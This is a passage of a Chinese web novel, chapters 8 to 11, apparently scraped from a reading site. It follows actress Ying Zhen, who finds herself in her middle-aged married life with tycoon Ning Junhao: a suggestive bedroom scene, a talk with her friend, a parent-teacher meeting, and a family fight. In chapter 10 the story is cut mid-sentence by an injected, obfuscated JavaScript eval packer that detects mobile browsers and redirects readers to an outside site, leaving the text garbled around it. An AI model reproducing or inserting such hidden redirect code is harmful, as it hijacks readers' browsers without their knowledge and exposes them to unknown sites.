应真咕哝一句,意兴阑珊地将睡袍重新系好,翻身睡下。四十多岁的男人确实没啥好玩的。 宁君昊一晚上被她吊得不上不下,好不容易凭借意志力控制好,听到应真说他不行,气得想笑。 他起身拉开床头的抽屉,拿出一盒湿纸巾,将左手手指里里外外擦干净。 应真睡得迷迷瞪瞪地快睡着了,感觉身体被人扳了过去。很快,她洗澡时捏过的部位一阵刺痛,很难说宁君昊的头发和牙齿哪个让她更难受。 这一晚,应真感觉干渴得沙滩上的鱼,像一条毛巾被反复得拧着,直至身体里的最后一滴水被挤出来。 她困得眼皮都睁不开了,宁君昊还在她耳边聒躁。 “我就是再不行,也还是能让你舒服。” 应真的确被服务得很舒服。宁君昊还像以前那样,用温热的毛巾帮她清洗身体。书房的床早已经不像样子,他用毯子裹着她,把她抱到主卧的床上。 身上是柔软的薄被,身后是温热的男人。迷迷糊糊之间,应真脑中冒出一个念头。 宁君昊虽然那方面不如年轻的时候,但服务意识比以前好很多。看来自己这些年调教有方,应真含笑着进入了梦乡。 应真睡得很香,宁君昊却睡不着了。黑暗里,睡在身旁的人呼吸变得舒缓绵长,躁动的身体终于恢复了平静。 宁君昊翻了个身,慢慢闭上了眼睛。 他和应真,一个人习惯右卧睡,一个人习惯左侧睡。结婚后,他睡觉从左侧改成右侧,这样他可以将应真抱在怀里。 女儿出生后,应真把他从卧室里赶出去。等到女儿能独立睡觉了,夫妻重新睡到一张床上,两人又恢复了婚前的睡姿。 好在主卧这张床够大,夫妻俩背对着背,即便半夜翻身也影响不到对方。 9. 第 9 章 宁颐然今天比平时晚了十分钟出门。早饭是爸爸让司机李叔买的麦当劳。 她在车后座吃汉堡,平时爸爸是不允许她在车上吃东西的,今天算是破例。谁让他一大早一直在接电话,导致出门晚了。 宁君昊坐在前面副座处理公务。一晚上已经堆积了很多流程要批。奇技的架构扁平,公司旗下几款游戏的日常运营是周添在管理,但核心部门的负责人都是直接向他汇报。 流程批复完毕,宁君昊扫了眼微信上的未读信息,挑了几条回复。一切完毕,他从杯托上拿起咖啡喝了一口,然而下一秒眉头便拢了起来。过萃了,一股糊味。 只一口,他又放了回去。一转头便从后视镜里看到司机朝自己这边看了好几眼,一副欲言又止的模样。 跟了他好多年的司机老李去年退休了,接替的是老李的侄子小李。小李开车技术不错,就是为人不如他叔叔稳重。 宁君昊拉下副座的镜子,这才注意到自己脖子上几道明显的红痕。脑中闪过昨天应真骑在他身上的模样,瞬间一阵燥意涌上全身。 只能端起那杯难喝的美式又喝了一口。 早上醒来,发现应真像刚结婚时那样,乖顺地躺在他怀里熟睡,倒让他生出些许恍惚之感。 这半年因为游戏上线的缘故,工作繁忙,回家晚了就在书房里睡。同房次数都少,更别提搂在一起睡了。 每次他想搂着,应真都嘟囔着说“热”,挣扎着将他甩开。正好他们俩睡觉一个喜欢朝右,一个喜欢朝左,便索性以各自习惯的睡姿睡。 早上出门的时候,看到应真还在熟睡,他领带都没系便出了卧室。倒也没什么大碍,办公室里有备用的。 宁君昊抬手将衬衫扣子往上扣了一颗,刚好挡住了脖子上的红痕。 坐在后座的宁颐然见爸爸终于处理完公事,摘下耳机,“前几天,易梦楠妈妈开了辆很酷的跑车来接她,在校门口引起了轰动。” 宁君昊平时很少过问女儿在学校的事,但易梦楠他还是知道的。从应真那听说的,易梦楠的母亲跟她是同行,也是个演员。 他从后视镜里看了女儿一眼,随口问了句:“什么样的跑车?” 宁颐然撇了撇嘴:“我也不知道,听我们班男生说,好像要几百万吧。” 培华是国际学校,宁颐然的同学里头没有穷人,条件最差的高低也是个中产。每天上下学,校门口就是各种豪车大比拼。即便这样,易梦楠妈妈那辆跑车在一堆无聊沉闷的豪车里头也够显眼的。 不像她妈每天开着老土的黑色奔驰去接她,那辆车子据说是爸爸年轻时候买的第一辆车。这么多年,爸爸早都看不上了,妈妈还当个宝似的。 父女才说几句话,就到了学校。虽然比平时晚了十分钟出门,但司机开车技术好,竟然比平时妈妈送她上学还早了五分钟到校。 宁颐然下车,走了几步,想起下午的家长会,又折了回来,敲了敲副驾的车窗。 司机按下车窗,宁颐然趴在车窗框上,笑嘻嘻地看着她爸:“爸,今天下午家长会,你来好不好?我们班好多同学都是爸爸来开家长会。” 女儿眼里满满期望,语气里也带着浓浓的撒娇意味。宁君昊并不为所动,抬手拍了拍女儿的脑袋,淡笑道:“今天真的不行。市委领导来公司视察,我必须出席。” 上一秒比头顶艳阳还灿烂的笑容,瞬间成了冷冻了三个月的速冻水饺。 “不去就不去!”宁颐然气呼呼地扭头就走。 盯着女儿的背影看了会,宁君昊让司机开车去公司。 到了公司,他下车时停住脚步,转头吩咐司机,“你等会把停车场那辆布加迪开去保养一下,加满油,下午三点半开到楼下,我要用。” 司机愣了一下,说了个“好的”,便将领命而去。 宁总在公司停车场停了好几辆汽车,其中那辆布加迪是使用最少的。常年套着车衣。他每隔一段时间会启动一下发动机,检查轮胎,每年还要去店里做一次保养。 听说那辆布加迪是宁总很多年前送给太太的礼物,特意定制了太太最爱的蒂芙尼蓝。宁总太太觉得太过高调,极少开,一直停在公司楼下的停车场里。 虽然不明白宁总什么场合需要开那辆车子,但老板说啥就是啥,司机将宁总日常乘坐的迈巴赫开进停车场,然后取下角落里那辆布拉迪的车衣,开去保养。 * 家鹊儿咖啡馆,黄书韵坐在她们平时坐的位置,狼吞虎咽地吃着一块三明治。 接到应真电话的时候她正在睡觉。这么多年,她和应真彼此都熟知对方作息。应真知道她睡得晚,一天是从下午一点开始的,所以约见面一般都是约到下午。 而四点之后,应真要去接女儿放学,所以她们如果见面,最多也就下午两三个小时,一起喝杯咖啡的功夫。 人到中年就是这样,各种俗事缠身,感情的表达方式也愈发内敛。应真要相夫教女,黄书韵有个编剧工作室,带了两个徒弟。大家都忙,见面次数不比年轻时候,但闺蜜感情还是一如既往。 听应真电话里的口气,似乎有什么重要的事要说,黄书韵二话不说,赶紧起床梳洗出门。 一块三明治下肚,门口铃铛响了,一抬头便看到应真进来了。 应真的身材还是跟她二十多年前认识的那样,纤细苗条,该凸的凸,该凹的凹。皮肤也一如既往的光洁白晳。她的气质本身就是演艺圈少见的古典美人,稍微一倒饬就像画卷走起来的一般。 只可惜这几年,她对穿衣打扮越来越没兴趣。出门在外,素面朝天,衣服大多以舒适的修闲服为主,极少看到她佩戴昂贵首饰,素朴得根本看不出她丈夫是城中富豪。 等应真走近了,黄书韵才发现她跟平时不大一样。太阳打西边出来了,她竟然化了全妆,穿了很贴身的连衣裙,裙子看上去有些眼熟。 然而脚上那双高跟鞋,却让黄书韵忍不住看了好几眼。 鱼嘴高跟鞋。 她快想不起来自己有多少年没见过这玩意了。应真好多年不穿高跟鞋,今天怎么想起来穿这种过气的高跟鞋款出门? 黄书韵忍不住在心底嘀咕起来。 应真在几步之外停下来看着她。黄书韵也老了,头发剪短了,胖了些,脸也圆了一圈,站在那儿看着就是个中年女人的模样。 她们上一次见面还是她跟宁君昊婚礼那天。才一个来月,再见面年轻清秀的闺蜜已然成了黯淡的中年人。 应真眼眶一阵酸涨,“书韵!” 还没等黄书韵反应过来,应真就一把抱住她。 …… 半个小时后,黄书韵呆坐在沙发上,张大嘴巴看着对面的女人。 上午的咖啡馆就她们俩,店里只有一个咖啡师,正忙着做外卖单。吧台那头不时传来敲击咖啡手柄的声音。 黄书韵注意到好友的眼神变了,原本那双眸子像是一汪浸了霜的湖水,清冷沉静中透着淡淡的疲惫和倦意。而今竟带着些许灵动和跳脱,甚至沁出了一线淡淡的笑意。 应真从坐下来,便一直在揉自己的脚,明明很合脚的高跟鞋,这一路竟然胳得她脚跟后跟出血。 难不成生完孩子脚也变大了?她索性将高跟鞋踢了,光着脚踩在地上。 “医生和宁君昊都以为我失忆了,其实不是。按书里写的,我这是穿越。我杀青回家的路上,还在跟你打电话。你应该有印象的……” 应真讲着她穿越前一刻发生的事,说着说着发现黄书韵一声不吭,她停下来,眉头微皱,“你不会也不相信我吧?” 黄书韵扫了眼她甩到桌下的高跟鞋,几乎是下意识地回答道:“信!怎么不信?现在谁还穿鱼嘴高跟鞋啊!自打然然出生后,我就没见过你穿高跟鞋。你突然穿着这玩意来见我,我还觉得奇怪呢。你这么一说,这就不奇怪了。零九年,不就是鱼嘴鞋流行的时候?你肯定觉得这鞋还很时髦……” 在书里才能看到的事就这么发生自己朋友身上,黄书韵感觉自己的脑子有些转不过来。 她睁大眼看着应真:“那你岂不是一睁眼发现自己变老了?是不是不习惯?你现在打算怎么办啊?” “凉拌呗!”应真身子靠向沙发背,突然想起什么来了,又弹了起来,“现在还流行凉拌这个说法吗?” 黄书韵对她太熟悉了,咧嘴:“土死了!现在很少这么说!” 应真刚经历了人生最大起大落的两天,好在她身体虽然中年,精神能量依然充沛。她一手搅动着杯子里的冰块,一手撑着下巴,“我跟宁君昊商量好了,暂时不告诉然然。结婚的时候就说好了,我暂时息影,专注家庭生活。我先适应宁太太的身份再说吧。” 黄书韵目不转睛地看着应真。她今天不仅妆化得很漂亮,还把头发束起来了,瞬间年轻了十几岁,乍一看像个刚结婚的大学生。 应真也在看她,看到她额前的几根白发,鼻腔里一阵酸意涌上来,“书韵,这么多年了,你现在什么情况?结婚了吗?” 黄书韵摇头,笑容里流出一丝苦涩:“没有。一直没找到合适的。现在年纪大了,也不打算找了。一个人过,挺好的。对了,我要谢谢你这些年一直让我住在你翠苑那套房子里。单身的好处,一人吃饱全家不愁。” 应真婚前在翠苑买了套九十平的两居室。她跟宁君昊结婚后,搬到他在市中心的大平层里。翠苑的房子空下来,不想出租,便让好友住了进去。帮她看房子,抵租金。 虽然应真已经淡出演艺圈,但在圈内外一直是嫁得好的典范。黄书韵作为闺蜜,这些年从来没听她抱怨过宁君昊。在她眼里,应真的婚姻生活是很幸福的。 应真一把抓住她的手,认真道:“我找你,是想让你把这十几年在我身上发生的事,告诉我。我知道你肯定是最清楚的。” 在北市,应真的朋友不多,跟黄书韵是最亲近的。 黄书韵开始给她一桩桩讲:“你姨妈已经退休了,你表姐田佳蕙去年离婚了。” “离婚?”应真没想到一上来听到这个,立刻想到软软糯糯的外甥女,“那穗穗呢?归谁抚养?” 因为应真的关系,黄书韵跟田佳蕙也成了朋友,对她的情况了解得不比应真少,“你外甥女跟你女儿一个学校,也在培华上学,听说学习很好。父母离婚了,她跟你表姐一起生活。就是你表姐忙着带学生,又谈了个小十几岁的男朋友,根本顾不上闺女。” 听黄书韵说着表姐的近况,应真震惊得说不出话来。她记得表姐丈夫是本地人,上头两个姐姐,家庭条件还不错,跟表姐算得上是门当户对。印象中是个沉默寡言的男人,看上去很老实可靠。 “你那表姐夫结婚后开服装店,后来开亏本了,好多年也没正经工作过,都靠田佳蕙一个人赚钱。慢慢两个人过不到一块去,就离了。” “离婚后,你姨妈经常跟你表姐吵架,你没少过去帮她们母女调节。” “你跟你爸妈好多年都不来往了……” “啊?”应真听到这忍不住打断,“我怎么会跟我爸妈不来往了?什么时候的事?” “已经有四五年了。具体的你也没说,就有一次打电话跟我说,你怀疑自己不是亲生,还说你把父母的联系方式拉黑了。” 应真中专毕业后就开始北漂。父母心思全在她弟弟妹妹身上,到北市后把她塞到姨妈家,便不再过问了。 倒是她一开始进组赚钱,父母就打电话过来,让她每个月把赚到的钱打一半回家。 靠着她打回去的钱,父母在县城买了三套商品房。应真有一年回老家的时候,母亲曾经带她去新房里看,喜滋滋地告诉她装修要安装坐便器,这样弟弟未来老婆坐月子方便些。 听得她心里发酸,难得呛上母亲一句:“他才上高中,娶媳妇还不知道哪年的事。说起坐月子,再怎么也是我先坐,咋没听到你替我着想?” 一番话说得母亲讪笑:“你比你弟有本事,以后找个男人肯定也是有本事的,哪里用得着我们替你考虑?” 后来,她遇到宁君昊。结婚后,便不再给家里打钱了。反正,那些年她给家里的,够他们养老了。 应真知道父母心里不痛快,但家里的事她也不想大包大揽了。既然在他们心里,嫁出去的女泼出去的水,那她就安分当个远嫁的女儿好了。 但她没想到自己后来竟然跟家里断绝来往了。这中间肯定发生了什么。应真赶紧掏出手机,在通讯录了一通翻找,果然没找到父母的号码。 黄书韵一点一点的,把这些年自己知道的关于应真生活里的一些事情都告诉了她。 作为闺蜜,当初应真是怎么跟宁君昊认识的,宁君昊是怎么追她的,她可以说全程目睹了。而且这些年,宁君昊身家一路高涨,却一丝绯闻也没有。 “我前几天遇到一个游戏行业里的人,他说宁君昊是北市所有游戏公司老板里头最帅的。而且他特别洁身自好,和人谈事从来不去声色场所,都是在他公司谈。” 黄书韵迫不及待地把自己在外头听到的宁君昊的风评告诉应真,“总而言之,一句话,宁君昊还是挺守男德。你找男人的眼光不错,” 男德。 应真咀嚼这个词,虽然第一次听说,但她很快明白它的意思,脑中闪过宁君昊躲闪的眼神,语气淡了几分:“他守不守男德我不知道,但这些年我跟他的感情应该不怎么样。” 听她语气仿佛在说别人的事。黄书韵愣住,睁大眼:“你跟宁君昊的感情还不好?!这么多年,我可没从你嘴里听到你老公一句‘不是’。” 从黄书韵刚才的描述中,应真感觉这十几年自己简直是个养尊处优的贵妇。但她才来第二天,就知道根本不是那么回事。 “我也说不好。反正就是一种感觉吧。不管他了。”应真拿起手机看了眼时间,“我们先去吃午饭吧。下午三点我还要去开家长会。” 黄书韵忍了半天,实在看不下眼那双鱼嘴鞋。听到她说下午要开“家长会”,赶紧把她拽起来,“你不会打算穿这鞋去然然学校吧?走,我陪你去买鞋。” * 黄书韵带应真去商场吃了个中饭,便陪她去买鞋了。应真仔细观察商场里来来往往的人,才发现现在穿高跟鞋的人比以前少很多,男女老少都是各式各样的运动鞋、休闲鞋、平底鞋。 她虽然不大乐意, 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两人在商场门口分了手,黄书韵叮嘱她有事就用绿色软件联系她。应真再次上前抱着了她。 真好,她们还是闺蜜。 从停车场取车的路上,应真忍不住在网上搜了下自己,跑出来的内容简直五化八门。 《盘点娱乐圈嫁得最好的十位女明星》 《“人间富贵花”应真:二十五岁嫁给游戏业新贵,如今家庭幸福》 《巅峰期结婚生子,隐退娱乐圈,昔日风头无两的影后变路人》 《昔日一眼万眼的尤物女神变成路人大妈?这些女明星你还认得谁?》 …… 这都是些啥? 扫了几眼,应真便将手机塞进包里。 * 培华国际学校。今天初中部开家长会,大门口堵得比往常早了一个小时。 应真赶到校门口,距离家长会开始还有十分钟。她赶紧把车子停好,在门口登记,沿着指示牌顺利找到女儿的教室方向。 十班教室里已经到了不少家长。走廊上全是学生,都在等家长会结束了,跟着大人一起回家。 宁颐然无精打采地趴在栏杆上,旁边死党用力推自己,“宁颐然,那个是你妈吧?” 宁颐然探出头去,只看见一个穿着裙子的背影,她撇了撇嘴,“怎么可能?我妈从来不穿裙子。” 在穿着打扮上,妈妈一点不上心。那么多漂亮的衣服挂在衣柜里,从来没见她穿过。 “宁颐然。” 听到身后有人喊自己,宁颐然转过头。周围人也循着声音看过去。 看到不远处的妈妈,她愣住了。两个死党偷笑,揶揄:“你不是说你妈从来不穿裙子吗?” 宁颐然脸上有些不自在:“谁知道她!” 应真本来想喊“然然”,话到嘴边改成了大名。这么大孩子,不一定喜欢父母当着同学的面喊自己小名。 她走到女儿跟前,笑问道:“你坐哪里啊?我进教室是不是应该坐在你的位子上?” 妈妈今天不仅把头发束起来了,还化了妆,喷了很好闻的香水。 宁颐然感觉到走廊上的同学都在看自己,因为早上爸爸拒绝来开家长会,一整天她都不太高兴。这一刻她好像也没那么讨厌妈妈来学校了。 “第二组倒数第三排。桌上有名牌。” 应真“哦”了一声,“那你等我一会。等下结束了我们一起回家。” 说罢,她就往教室里去了。 走廊里三三两两都是十班的学生,大家都好奇地看着宁颐然的妈妈。他们早就听说宁颐然的妈妈也是个演员,但一直不知道叫什么名字,演过什么作品。问宁颐然,她死活不肯说。倒是易梦楠的妈妈,因为来学校主持过《妈妈课堂》的讲座,让他们记忆深刻。 今天看到宁颐然的妈妈,才发现她妈妈这么漂亮,而且也太温柔了吧。 两个死党一左一右将宁颐然夹在中间,“你妈哪有你说的那么老?这不是很漂亮吗?” “就是!刚刚近看,你妈皮肤好好哦。她都怎么保养皮肤的?” …… 应真演了这么多年戏,还没演过妈妈的角色,更没有开家长会的经验。不过,没吃过猪肉,总见过猪跑。 她面带微笑,顶着教室里家长们投来的目光,挺直背走进去,找到放了女儿名牌的座位坐下。 很快班主任兼语文老师进来了,播放了自己准备好的PPT,将这学期需要家校合作的几项工作说了一下,然后又表扬了一些在语文科目上表现优异的同学。 应真凝神听着,没听到女儿的名字。语文老师结束后,其他几科科任老师也陆续上台。在所有科目中,数学和物理两科老师表扬名单中出现了女儿的名字。 看来这孩子遗传了她爸爸的理科头脑。应真默默想。 整个流程结束后,班主任让优秀家长代表上台分享经验,有个叫晋扬的学生的妈妈上台了。 晋扬的妈妈是一名律师,头脑清晰,表达流畅,一开口便赢得满堂喝采。应真听得很专注,心底生出一丝庆幸,还好女儿没那么出众。这万一要让她上去分享经验,她还真不知道说什么。 家长会开了一个小时便结束了。应真跟着家长人群走出教室,被班主任叫住了,“颐然妈妈,你稍等一下。” …… 别的同学家长都出来的,独独没看到妈妈。宁颐然站在门口往教室里看一眼,班主任站在教室一角,正拉着她妈说着什么。 两人表情都有些严肃,班主任不知道说了什么,妈妈一直在点头。宁颐然看这架势,就知道班主任在跟她妈告状。 不过是上课传纸条被逮到了,这也值得告家长?!宁颐然黑着脸气呼呼地退到一边。 十分钟后,妈妈终于出来了,看她站在门口,“走,我们回家吧。” 宁颐然跟着妈妈下楼,一直到校门口妈妈都没说什么,反倒她忍不住了,“刚才班主任和你说什么了?” 应真看了女儿一眼,笑道:“没说什么。就说你上课有时候开小差。” 想象中的唠叨并没有如约而至,宁颐然松了口气,嘴上道:“学生开小差,老师应该反省下是不是自己上课太无聊。” 应真抿唇,望天,脑壳有点疼。然而刚走到门口,看到路边停的那辆跑车,她眉头便皱起来了。 宁君昊竟然让司机把当年送她的那辆车开到女儿学校。 那辆蓝色的跑车就那么大喇喇地停车校门口,足够嚣张酷炫,过往的学生和家长都忍不住多看几眼,更有人拿出相机来拍照。 宁颐然还没出校门就听到引擎轰鸣声,她还以为又是易梦楠的妈妈开跑车来接她。看到爸爸从车上下来,她脸上的阴霾一扫而光,甩着书包便跑了上去。 “爸爸,你今天怎么把这辆车开出来了?不是说没空来学校接我吗?” 应真看着女儿快乐得像小鸟一样的背影,一抬眼正巧对上宁君昊的目光。 他笑得比当年还要肆意张扬,应真忍不住从牙缝里挤出两个字:骚包! 10. 第 10 章 宁君昊送应真这辆跑车的时候,他们才刚开始恋爱。算一算,这车年纪比然然还大。 应真对跑车没什么兴趣,不喜欢开,也不喜欢坐,收到后就搁到一边。十几年过去,倒没想到这辆车还在。 宁颐然兴奋得眼眸闪闪发亮,早上随口说的一句话,爸爸就听进去了。 说实话,她只是看不惯易梦楠出风头的样子,倒不至于把她家那辆几百万的跑车放在眼里。毕竟价格也就她爸这辆跑车的零头,有什么好显摆的? 这辆跑车是爸爸送给妈妈的礼物,他宝贝得不行,平时都停在他公司的地下停车场。她长这么大还是头一回坐。 …… 布加迪只能坐两个人,应真看女儿雀跃的样子,对宁君昊道,“你开那辆送女儿回家。让司机开我的车。” 宁君昊知道她不喜欢高调,这会要多正经有多正经:“我现在年纪不适合开跑车了。让司机开,顺道送女儿回家。今天我来给你当司机。” 他语气很温和,却比年轻时多了些许不容拒绝的意味。 应真从包里掏出钥匙递给他,似笑非笑地看着他:“随你!想当司机谁还拦着你不成?” 她一笑,脸颊上瞬间浮现出两个深深的酒窝。这个笑容属于年轻的应真,她好久没这么笑了。 宁君昊被那双酒窝晃得心头一阵痒。应真走出去几步,他才回过味来。 应真今天穿了一条裙子。裙子外面套了件裸色的薄衫,很宽大,随意地垂地肩上。随着她的动作轻轻摆动,隐约看到微微弯曲的脊背和纤细的腰肢。 一抬头发现对面一个站在路边抽烟的年轻男人正目不转睛地看着自己的妻子。宁君昊唇角笑容冻住,上前几步牵住应真的手。 年轻男人这才意识到这个女人不是一个人,冷不丁对上宁君昊冰冷的视线,一脸尴尬地别过脸。 应真的心思全在手机上,根本没注意这些。上车后她专心研究起手机来,把黄书韵跟她说的几个软件打开认真研究。刚才绿色软件她已经看过了,这些年,她跟演艺圈还真是断得干干净净,唯一常联系的也就黄书韵了。 除了姨妈一家、物业、快递,平时联系最多的都是跟女儿有关的,学校老师、外头机构的老师。 她看了一会就退出了,又打开了红色软件,一个视频跳了出来,竟然是一段狄澄的采访。 记者:“恭喜您成为国内第一位百亿票房影后,接下来有什么打算?” 狄澄一头浓密卷发披散下来,莞尔一笑:“我会更加努力,争取在这个位置上撑久一点。” 应真的目光落在她那张精致的脸蛋上。当年她拿影后的那部电影,狄澄只是个不起眼的小配角。没想到一睁眼她竟然成了百亿影后…… 宁君昊难得当回司机,旁边女人上车后注意力全在手机上,头都没抬一下。他很不满。 红绿灯间隙,宁君昊忍不了了,主动挑起话题,“今天参加家长会,感觉怎么样?” “还行吧。”应真心不在焉地放下手机,“女儿遗传了你的头脑,学习成绩不错。不过老师说她上课不太专心,还爱跟同学传纸条,已经被发现好几次了。因为数学老师喜欢拖堂,她发动全班同学签字,联名上书,给老师提意见。” 宁君昊工作繁忙,平时女儿的学习基本上是应真在管。他偶尔问起女儿在学校的情况,从应真那听到的都是正面评价。 况且,女儿学习确实不错。 听应真一脸严肃转述完班主任的话,他反倒笑了:“挺有领导力的,不愧是我的女儿。” 应真看他副模样,就知道他没当回事,“上课传纸条影响别的同学。还有,在学校对老师起码的尊重还是要有的。你有空跟然然说下,这话我不知道怎么跟她说。” 说实话,到现在她还只是在理性上接受了自己有个十四岁的女儿,感性上还完全没法代入妈妈的角色,也不知道怎么跟女儿相处。所以,刚才开完家长会,女儿问她,她什么也没说。 宁君昊确实不觉得这是个事:“拖堂本来就是老师不对,女儿敢于提意见,应该表扬才对。至于上课传纸条,也不完全是女儿的问题。如果老师课讲得好,学生哪有功夫找纸条?” 应真深吸一口气:“我终于知道女儿那套歪理跟谁学的了。” 这才几天,她已经意识到当妈太难了。这工作可不比演戏容易。 车子刚到市中心,应真的手机响了,是表姐田佳蕙打过来的。她正想约表姐见一面,想着怎么把自己的身上发生的事跟她说。 应真接了起来,还没来得及开口,就听到那头传来嚎哭声:“应真,我妈又到我琴房来闹了!她现在就是想跟我鱼死网破!她真的疯了!你快来救我啊!” 虽然黄书韵已经把姨妈一家的情况跟她说,但听到电话那头打架摔东西的声音,应真还是觉得很震惊。 姨妈和表姐怎么会闹到这种地步?应真让田佳蕙把手机给她妈,想先在电话里劝劝姨妈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060847|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>田佳蕙哪里敢,只哭嚷着让她赶紧过去。应真脑壳又开始疼了。 姨妈的脾性,她再清楚不过。严厉古板,待人苛刻,性格又多疑。发起脾气来,歇斯底里地不管不顾。 应真心疼姨妈年轻的时候丈夫就去世了,一个人把女儿拉扯大很不容易。虽然性子不讨人喜欢,她还是尽量努力将她当成长辈来尊重。 十几年功夫,母女俩竟然闹到这个地步。 宁君昊不喜欢应真姨妈一家,看她心神不宁的模样,叮嘱道:“她俩再闹也不是母女。你过去劝劝就行了,母女之间的事少管。” “我知道。” 田佳蕙的琴房就开在她妈小区附近。宁君昊掉转方向往滨江新城开去。 * 自打女儿田佳蕙带着孙女搬出去后,李茹华一个人住在一百四十平的房子里头,冷清得不得了。 一日三餐早上稀饭,午餐面条,晚上吃早上剩的稀饭,这日子过得一点滋味也没有,不由越发想念女儿一家住在这的日子。 老太太浑然忘记了,一起住的时候,她鼻子不是鼻子,眼睛不是眼睛的,各种看不顺眼。 退休前李茹华是北市一所中学的语文老师,退休后,她嫌一个人住冷清,让女儿一家搬过来跟她一起住。这样女儿那套房子可以出租,一个月租金净赚一万二。一年下来十四万四。租金她一分不要,全给女儿。 田佳蕙一听有的赚,就乐颠颠地带着丈夫女儿搬到娘家住。几年后,她发现自己跟丈夫过不下去了。 女儿放着好好的日子不过,非要离婚,没多久女婿搬出去了。李茹华自己中年丧夫,总盼着女儿婚姻平平稳稳,没想到女儿中年也闹起离婚。 她越想越不忿,在家一有机会就念叨个没完,各种难听的话外蹦。田佳蕙哪里受得了,跟她大吵一架,带着女儿搬出去住。 女儿结婚那一套房,她出了一半钱。这些年一家子住在她这,自己的房子拿出去出租,租金也有几十万。 李茹华把全部心血都投到女儿身上,结果到头来闹得个人财两空,晚景凄凉。一想到这些,她就整宿整宿睡不着。她本来就有焦虑症,加上失眠,就更加恶化了。 下午她去超市买了点东西回来,在电梯里看到对门的老太太接孙子放学回来。老太太看李茹华一个人,便问了句:“李老师,最近怎么没看到您女儿?” 李茹华黑着脸没吱声,回家放下东西,从家里揣把了凳子,直奔闺女上课的地方。 11. 第 11 章 李茹华十几年前在滨江新城买了房子,后来便一直居住在此。 女儿女婿结婚时,看中了附近的一个高档小区。李茹华和亲家一家各出一半的钱,给小两口买了一套三居室。这么多年来,虽然女婿没什么大本事,但李茹华一直在经济上补贴他们。原本日子过得好好的,女儿却突然提出要离婚。 离婚时,按照约定,房子一人分得一半。李茹华舍不得卖掉这套房子,就想着把另一半房款折现给女婿。那一半房款算下来是二百六十万。田佳蕙这些年做生意、开培训班,积攒了六十万。剩下的二百万,李茹华无奈之下,把老公早年留下来的一套房子卖了,才凑齐付清。 李茹华觉得自己已经把家底都给了女儿,可如今女儿带着外孙女搬了出去,只留她一个人孤零零的。这对她来说,简直跟要了她的命没什么两样。 原本人人都羡慕的退休生活,在一夜之间变得晚景凄凉。李茹华晚上躺在床上,心就像油煎一样,根本无法入眠。 …… 田佳蕙在滨江新城隔壁租了个门面房,开办了音乐培训教室。当初之所以选择这里,无非是因为租金相对便宜,而且离她妈妈住的地方近。 她自己亲自教授古筝课程,又招聘了一些教授钢琴、小提琴以及其他乐器的老师。目前,培训班已经有两百多个学生。工作日的白天,比较空闲,到了下午四点以后,附近学校的学生就陆陆续续地过来上课了。 这天,她正在教室里听学生回课,突然外面传来了骂骂咧咧的声音。她走出教室一看,她妈搬了把凳子,正大喇喇地坐在培训班门口。 李茹华一看到女儿出来,憋了许久的气便不管不顾地发泄了出来:“田佳蕙,我辛辛苦苦把你养大,供你吃穿,还给你买房,你现在说走就走!你还有点良心吗!你得把这些年我花在你身上的钱都还给我!” 她那尖利的嗓门立刻吸引了过往的行人。田佳蕙培训班的学生大多来自附近的几个小区,已经有好几个来接孩子放学的家长停下脚步,围过来看热闹了。 田佳蕙冷着脸站在那儿,指甲深深掐进掌心,前几天被弦割破的手指还在隐隐作痛。她知道,李茹华发起疯来,根本不会顾及别人的死活。这么闹,就是打定主意鱼死网破,让她的培训班没法再开下去。 看着她妈那双充满怨毒的眼睛,田佳蕙心头涌起一阵厌恶,绝望的情绪也随之翻涌。上一次有这种绝望的感觉,还是她坚决要跟前夫离婚的时候。 小时候,她也曾心疼过妈妈。别的女人有丈夫陪伴,她的妈妈没有。所以,从小到大,她一直都很听话懂事,从不给妈妈惹麻烦,也从不乱花一分钱。 可是,妈妈是怎么对待她的呢?只要心情不好,就拿她当出气筒。要么对她实施冷暴力,跟她说话,理也不理。 她倒是心疼妈妈没有丈夫,可妈妈又何曾心疼过她没有父亲呢? 没考上大学,丢了她面子。 没像应真那样找个有钱老公,丢了她面子。 离婚,也丢了她面子。 现在带着女儿搬出去住,又丢她面子。 反正,对李茹华来说,自己的面子比什么都重要。 如今年纪大了,除了面子,李茹华最看重的就是钱了。田佳蕙也懒得再跟妈妈争吵,这么多年来,母女俩的口水仗都打得太多了,已经疲惫不堪。李茹华就她这么一个女儿,后半生也只能指望她了。 如果老太太非要闹得她的培训班开不下去,那就随她闹吧。她妈既然不顾她的死活,她也懒得再去管她妈的死活了。 反正,那二百万她是绝对不可能还回去的。老太太的钱不留给她花,还能给谁花呢?就算她妈想把钱带进棺材,也得看她同不同意! 田佳蕙面无表情地瞥了李茹华一眼,一句话都不想再多说,扭头就回去让其他老师通知家长来把孩子接走,并告知家长以后有时间再安排补课,自己则开始收拾东西准备回家。 李茹华见女儿不理自己,便伸手去拽她,拖着不让她走,非要她把这些年自己花在她身上的钱都吐出来不可。 应真赶到表姐的培训班时,门口已经挤满了围观的人,有附近的邻居,还有培训班的学生和家长。应真隔着老远,就能听到姨妈那高亢刺耳的声音。 在人群中,李茹华花白的头发已经完全散开,因为长时间的嘶吼,她的喉咙变得沙哑。她歇斯底里地捶打着女儿。田佳蕙捂着头,用脑袋去顶老太太,脖子一梗,大声嚷道:“你干脆把我掐死算了!” 十几年过去了,李茹华从壮年步入了老年,整个人仿佛被抽干了水分,脸颊深深地凹陷下去,颧骨突兀地耸起,眼窝深陷,嘴角的纹路让她看起来更加刻薄了。 应真的记忆还停留在姨妈和表姐以前经常拌嘴的场景,哪里见过她们真的动手?她赶紧上前去劝架。宁君昊也走上前,拽住李茹华的胳膊,说道:“姨妈,有什么事咱们回家说,在这儿闹不好看。” 他的手隐隐带着力度,李茹华气焰瞬间下去了些。她活到这把岁数,如今也就还忌惮这个外甥女婿。 应真在一道低声劝道:“穗穗马上就要放学回家了,我姐也得回去了。” 